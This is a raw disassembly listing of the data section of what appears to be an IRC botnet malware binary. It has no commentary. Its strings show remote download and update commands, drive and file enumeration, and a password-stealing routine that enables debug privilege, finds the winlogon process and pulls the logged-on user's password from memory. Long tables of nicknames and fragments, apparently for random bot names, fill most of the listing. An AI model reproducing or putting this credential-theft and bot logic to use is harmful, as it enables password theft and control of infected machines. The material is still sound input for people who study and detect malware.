asc_437E5C db '-' ; DATA XREF: sub_4163FA+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
; char asc_437E88[]
asc_437E88 db '-' ; DATA XREF: sub_4163FA+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_437EB0 db 2Dh ; - ; DATA XREF: sub_4163FA+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
; char asc_437ED8[]
asc_437ED8 db '-' ; DATA XREF: sub_4163FA+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o
; sub_418EF7+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo
align 4
off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo
; sub_41AA43:loc_41AB45r
align 10h
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o
; sub_416B57+3Bo
align 4
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co
align 10h
; char asc_437F40[]
asc_437F40 db '-' ; DATA XREF: sub_416B57+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
; char asc_437F7C[]
asc_437F7C db '-' ; DATA XREF: sub_416B57+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
; char aA_1[]
aA_1 db 'A:\',0 ; DATA XREF: sub_416C29:loc_416C6Eo
; char asc_437FBC[]
asc_437FBC db '-' ; DATA XREF: sub_416CAE+C8o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
dd 6C696620h, 7365h
; char asc_437FDC[]
asc_437FDC db '-' ; DATA XREF: sub_416CAE+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
; char asc_438004[]
asc_438004 db '-' ; DATA XREF: sub_416DC9+107o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
dd 73255Ch
; char aS_3[]
aS_3 db '%s\*',0 ; DATA XREF: sub_416DC9+1Ao
align 4
; char asc_438028[]
asc_438028 db '-' ; DATA XREF: sub_416F1B:loc_417094o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
; char asc_43805C[]
asc_43805C db '-' ; DATA XREF: sub_416F1B:loc_417067o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
; char asc_4380C0[]
asc_4380C0 db '-' ; DATA XREF: sub_416F1B+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_416F1B+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_416F1B+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
; sub_416F1B+161o ...
align 4
unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
; char aMsgina[]
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo
align 10h
; char aNwgina[]
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o
align 4
; char aWinlogon[]
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo
align 4
; char asc_438244[]
asc_438244 db '-' ; DATA XREF: sub_417553+70o
; sub_4175EA+C7o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_438294[]
asc_438294 db '-' ; DATA XREF: sub_4175EA+E1o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_4382E8
off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr
; "q"
dd offset dword_438E90
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_438E8C
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_5 ; "s"
dd offset aD_0 ; "d"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE50 ; "l"
dd offset dword_438E7C
dd offset dword_438E78
dd offset aC_0 ; "c"
dd offset aV ; "v"
dd offset dword_438E74
dd offset aN ; "n"
dd offset aM_0 ; "m"
dd offset dword_438E70
dd offset dword_438E6C
dd offset dword_438E68
dd offset dword_438E64
dd offset dword_438E60
dd offset word_438E5C
dd offset dword_438E58
dd offset aI_0 ; "I"
dd offset dword_438E54
dd offset dword_438E50
dd offset aA_0 ; "A"
dd offset dword_438E4C
dd offset dword_438E48
dd offset dword_438E44
dd offset dword_438E40
dd offset dword_438E3C
dd offset dword_438E38
dd offset dword_438E34
dd offset dword_438E30
dd offset dword_438E2C
dd offset dword_438E28
dd offset dword_438E24
dd offset dword_438E20
dd offset dword_438E1C
dd offset word_438E18
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_438BAC
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438A18
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
; char *off_4385E8
off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r
; sub_417ADE+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438E74
dd offset aC_0 ; "c"
dd offset aD_0 ; "d"
dd offset aE ; "e"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aI ; "i"
dd offset a_ ; "_"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE50 ; "l"
dd offset aM_0 ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_438E90
dd offset dword_438E78
dd offset dword_438E8C
dd offset dword_438E7C
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438E7C
dd offset dword_438E84
dd offset aS_5 ; "s"
dd offset aQ ; "q"
dd offset off_438838
dd offset aBbl ; "|bbl"
dd offset byte_43D808
dd offset byte_43D808
dd offset a___0 ; "_|_"
dd offset byte_43D808
dd offset byte_43D808
dd offset byte_43D808
dd offset byte_43D808
dd offset dword_438E44
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_3 ; "^^^f^"
dd offset dword_438E74
dd offset byte_43D808
dd offset aSleeping ; "Sleeping"
dd offset byte_43D808
dd offset byte_43D808
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43D808
dd offset byte_43D808
dd offset dword_438E28
dd offset byte_43D808
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset dword_438784
dd offset dword_438780
dword_438780 dd 7536h ; DATA XREF: .data:0043877Co
dword_438784 dd 7535h ; DATA XREF: .data:00438778o
a4u db '|4u|',0 ; DATA XREF: .data:00438774o
align 10h
a4you db '{4you}',0 ; DATA XREF: .data:00438770o
align 4
a4us db '|4us|',0 ; DATA XREF: .data:0043876Co
align 10h
aSex4free db '|sex4free|',0 ; DATA XREF: .data:00438768o
align 4
aLoloA db 'lolo|a|',0 ; DATA XREF: .data:00438764o
aLol db 'lol',0 ; DATA XREF: .data:00438760o
aTot_0 db 'tot',0 ; DATA XREF: .data:0043875Co
aMofo db 'mofo',0 ; DATA XREF: .data:00438758o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .data:00438754o
align 4
aMuha db 'muha',0 ; DATA XREF: .data:00438750o
align 4
aYeah db 'yeah',0 ; DATA XREF: .data:0043874Co
align 4
aAha db 'aha',0 ; DATA XREF: .data:00438748o
aShit db 'shit',0 ; DATA XREF: .data:00438744o
align 4
aGurl db 'gurl',0 ; DATA XREF: .data:00438740o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: .data:0043873Co
align 4
aBoy db 'BOY',0 ; DATA XREF: .data:00438738o
aFree db 'Free',0 ; DATA XREF: .data:00438724o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00438720o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .data:00438714o
align 4
aF_3 db '^^^f^',0 ; DATA XREF: .data:00438708o
align 10h
aSad db 'Sad',0 ; DATA XREF: .data:00438704o
aLuvu db 'LUVU',0 ; DATA XREF: .data:00438700o
align 4
a___0 db '_|_',0 ; DATA XREF: .data:004386E4o
aBbl db '|bbl',0 ; DATA XREF: .data:004386D8o
align 4
off_438838 dd offset loc_425242 ; DATA XREF: .data:004386D4o
aMuckc db 'muckc',0 ; DATA XREF: .data:004386C0o
align 4
aTruck db 'truck',0 ; DATA XREF: .data:004386BCo
align 4
aTrimy db 'trimy',0 ; DATA XREF: .data:004386B8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .data:004386B4o
align 4
aUi db 'ui',0 ; DATA XREF: .data:004386B0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .data:004386ACo
aRt db 'rt',0 ; DATA XREF: .data:004386A8o
align 4
aGf db 'gf',0 ; DATA XREF: .data:004386A4o
align 4
aTy db 'ty',0 ; DATA XREF: .data:004386A0o
align 10h
aRg db 'rg',0 ; DATA XREF: .data:0043869Co
align 4
aHappy db 'happy',0 ; DATA XREF: .data:00438698o
align 4
aRs db 'rs',0 ; DATA XREF: .data:00438678o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: .data:00438630o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .data:0043862Co
align 4
aSick db 'sick}}',0 ; DATA XREF: .data:00438628o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .data:00438624o
aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00438620o
align 4
aGens db '{gens|',0 ; DATA XREF: .data:0043861Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: .data:00438618o
align 4
aHub db '{hub}',0 ; DATA XREF: .data:00438614o
align 10h
aLuck db '|luck|',0 ; DATA XREF: .data:00438610o
align 4
aSuck db '|suck|',0 ; DATA XREF: .data:0043860Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: .data:00438608o
align 4
aWoh db '|woh|',0 ; DATA XREF: .data:00438604o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: .data:00438600o
aLag db 'lag',0 ; DATA XREF: .data:004385FCo
aBad db 'bad',0 ; DATA XREF: .data:004385F8o
aTree db 'tree',0 ; DATA XREF: .data:004385F4o
align 4
aZex db 'zex',0 ; DATA XREF: .data:004385F0o
aLez db 'lez',0 ; DATA XREF: .data:004385ECo
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:004385E4o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:004385E0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .data:004385DCo
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:004385D8o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .data:004385D4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:004385D0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:004385CCo
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:004385C8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: .data:004385C4o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: .data:004385C0o
aTropikal db 'tropikal',0 ; DATA XREF: .data:004385BCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: .data:004385B8o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:004385B4o
align 4
aUla db 'ula',0 ; DATA XREF: .data:004385B0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:004385ACo
aAkden db 'akden',0 ; DATA XREF: .data:004385A8o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: .data:004385A4o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: .data:004385A0o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: .data:0043859Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00438598o
aM41ist db 'M41IST',0 ; DATA XREF: .data:00438594o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00438590o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .data:0043858Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: .data:00438588o
align 4
aErkan db 'erkan',0 ; DATA XREF: .data:00438584o
align 4
aDevre db 'devre',0 ; DATA XREF: .data:00438580o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .data:0043857Co
align 4
aBirsen db 'birsen',0 ; DATA XREF: .data:00438578o
align 4
aA44m db 'a44m',0 ; DATA XREF: .data:00438574o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .data:00438570o
align 4
off_438A18 dd offset byte_4B5245 ; DATA XREF: .data:0043856Co
aSevda db 'sevda',0 ; DATA XREF: .data:00438568o
align 4
aKotan db 'kotan',0 ; DATA XREF: .data:00438564o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .data:00438560o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .data:0043855Co
align 10h
aKapk db 'kapk',0 ; DATA XREF: .data:00438558o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:00438554o
align 4
aHayran db 'hayran',0 ; DATA XREF: .data:00438550o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:0043854Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .data:00438548o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: .data:00438544o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:00438540o
align 4
aUmut db 'umut-',0 ; DATA XREF: .data:0043853Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .data:00438538o
align 4
aKumul db 'kumul',0 ; DATA XREF: .data:00438534o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:00438530o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:0043852Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:00438528o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .data:00438524o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .data:00438520o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0043851Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00438518o
aHoly db 'holy',0 ; DATA XREF: .data:00438514o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: .data:00438510o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .data:0043850Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:00438508o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00438504o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .data:00438500o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: .data:004384FCo
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:004384F8o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .data:004384F4o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .data:004384F0o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:004384ECo
aArda db 'arda',0 ; DATA XREF: .data:004384E8o
align 4
aDevran db 'devran',0 ; DATA XREF: .data:004384E4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .data:004384E0o
aDenizlim db 'DenizliM',0 ; DATA XREF: .data:004384DCo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:004384D8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:004384D4o
align 10h
aBogac db 'bogac',0 ; DATA XREF: .data:004384D0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:004384CCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: .data:004384C8o
align 4
off_438BAC dd offset byte_457441 ; DATA XREF: .data:004384C4o
aAyla db 'AYLA-',0 ; DATA XREF: .data:004384C0o
align 4
aAlbina db 'albina',0 ; DATA XREF: .data:004384BCo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:004384B8o
align 4
aZack db 'ZACK',0 ; DATA XREF: .data:004384B4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .data:004384B0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .data:004384ACo
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .data:004384A8o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .data:004384A4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:004384A0o
align 4
aRetg db 'RETG',0 ; DATA XREF: .data:0043849Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00438498o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00438494o
aAslii db 'aslii',0 ; DATA XREF: .data:00438490o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0043848Co
aHaticem db 'haticem',0 ; DATA XREF: .data:00438488o
aArzu db 'ARZU',0 ; DATA XREF: .data:00438484o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00438480o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:0043847Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .data:00438478o
align 10h
aTekir db 'tekir',0 ; DATA XREF: .data:00438474o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:00438470o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .data:0043846Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: .data:00438468o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .data:00438464o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .data:00438460o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .data:0043845Co
aTolga34 db 'Tolga34',0 ; DATA XREF: .data:00438458o
aMisssunday db 'misssunday',0 ; DATA XREF: .data:00438454o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: .data:00438450o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:0043844Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .data:00438448o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: .data:00438444o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .data:00438440o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:0043843Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:00438438o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:00438434o
align 4
aKencing db 'Kencing',0 ; DATA XREF: .data:00438430o
aReshma db 'reshma',0 ; DATA XREF: .data:0043842Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .data:00438428o
align 4
aGirl db 'GirL',0 ; DATA XREF: .data:00438424o
align 4
aImra db 'imra',0 ; DATA XREF: .data:00438420o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .data:0043841Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .data:00438418o
align 4
aKermit db 'kermit',0 ; DATA XREF: .data:00438414o
align 4
aManee db 'manee',0 ; DATA XREF: .data:00438410o
align 4
aTroller db 'troller',0 ; DATA XREF: .data:0043840Co
aLuisa db 'Luisa',0 ; DATA XREF: .data:00438408o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .data:00438404o
align 10h
